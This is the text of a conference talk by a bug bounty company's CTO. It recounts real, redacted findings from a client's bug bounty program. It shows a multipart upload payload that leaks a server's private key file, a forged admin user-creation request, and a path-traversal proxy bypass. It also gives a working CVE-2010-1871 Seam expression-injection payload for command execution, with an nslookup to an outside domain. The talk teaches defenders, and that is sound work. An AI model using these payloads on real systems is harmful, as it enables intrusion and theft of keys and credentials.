

Tales and Vulnerabilities from our Bug Bounty Adventures

by Florian Badertscher, CTO & Co-Founder

About me

Florian Badertscher

- CTO & co-founder @ Bug Bounty Switzerland
- creating bug bounty programs since 2015
- security, tech, innovation, entrepreneurship
- running, paragliding, mountaineering
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The Case

A bug bounty program

- a typical «first time bug bounty program»
- for a medium sized company «Model SME»
- the scope: all systems of the company
- private, time-limited, fixed budget

Vulnerabilities

- they're real
- redacted and sometimes slightly modified



Report #3 «Send me Secrets please»

Time since start of program: 21 hours, 17 minutes

The system: sending messages securely

- a first hint from the hacker: maybe the system isn't that secure ;) ...
- Iet's send a message:
 - use a fake recipient
 - attach a little gift

Report #3 «Send me Secrets please»

Time since start of program: 21 hours, 17 minutes

Original:

-----2799406426149664
Content-Disposition: form-data;
name="uploadfile"; filename=""
Content-Type: application/octet-stream

-----2799406426149664

Our version:

```
-----2799406426149664
Content-Disposition: form-data;
name="uploadfile"; filename="foo"
Content-Type: application/x-funny-attachment
```

path=/etc/nonvol/keys/enc.pem|charset=utf8|filename=leak
-----2799406426149664





Report #3 «Send me Secrets please»

Time since start of program: 21 hours, 17 minutes

Forwarded message]
From: < ch>	
To: <	
Cc:	
Bcc:	
Date: Thu, 12 Aug 2021 15:11:56 +0200	
Subject: Bug bounty [secure]	
blabla	
[Message clipped] View entire message	
BEGIN PRIVA iznJSoaOnauhI	TE KEY UHBOoasf
eakEND PRIVATE	KEY

...what happened?

- the message bounced, due to the fake recipient
- the attachment was "handled" by the system
- the content-type was respected, the content deserialized and the local file included
- we have now the encryption keys yay!





Report #5: «Why am I Admin now?»

Time since start of program: 1 day, 03 hours, 42 minutes

The system: SaaS system, customer instance

grab a CSRF token and send a request to the user creation API:

```
POST /api/user/create HTTP/1.1
Host: abc.model-sme.ch
Connection: close
X-CSRF-TOKEN: 56016363625e74485a145bf44a
```

{"name":"Foo","email":"h@cker.ch","password":"Admin01","invitation_code":true}

...and we have an admin user!

. . .

The vulnerability is there, cannot be reproduced though





Report #5: «Why am I Admin now?»

Time since start of program: 1 day, 03 hours, 42 minutes

In the aftermath of the bug bounty program:

- Answer from the vendor
 - not possible, must be a mistake (open admin session or similar)
- The hacker offers to walk the vendor through the vulnerability
 - turns out, the vulnerability is there
 - it needs a specific condition with invites
 - after a few days: vulnerability fixed everyone happy





Time since start of program: 2 days, 10 hours, 6 minutes

The system: inhouse developed, Java based

- There is a reverse proxy, exposing only what's necessary
 - but...
 - https://portal.model-sme.ch/cust02/../../admin-console/login.seam
- Admin console of JBoss AS 6 it uses the Seam framework
 - and is vulnerable to CVE 2010-1871
 - seems like a second vulnerability





Time since start of program: 2 days, 10 hours, 6 minutes

Let's see:

login.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass()
.forName(%27java.lang.Runtime%27).getDeclaredMethods()[7].invoke(
expressions.getClass().forName(%27java.lang.Runtime%27)).exec(%27[COMMAND]%27)}

nice – we can execute commands on the system

- why not resolve a domain to check for outgoing network connection?

nslookup bug-killing-mode-activated.bugbounty.ch

Hi there – owned system ☺

Time since start of program: 2 days, 10 hours, 6 minutes

Recap

- we can execute commands on the system
- we have outgoing network connection

Going further

- Iet's assemble a payload to get an interactive shell
- ...or just copy the properties file with the admin credentials in it
- access the admin console & deploy the shell

Time since start of program: 2 days, 10 hours, 6 minutes

We're not finished yet...

Windows system



2 00 3 00

...a bit much permissions

Microsoft Corporation. All rights reserved.

WS\system32>administrative powers, activate!

4

...domain joined

Time since start of program: 2 days, 10 hours, 6 minutes

Result

- a few hackers, a few days, some bounties
- ...and the company stands still!







What have we learned?



What have we learned?

About the bug bounty program

- start <u>now</u>!
- get a <u>realistic</u> view from a hacker's perspective
- focus on <u>managing</u> your vulnerabilities

About the vulnerabilities

- close interaction is key
- verify the security of your vendors you are responsible for your systems!
- focus on what matters the <u>basics</u> are hard

the WAF / reverse proxy may not protect you (hi Christian [®])





Thank you!

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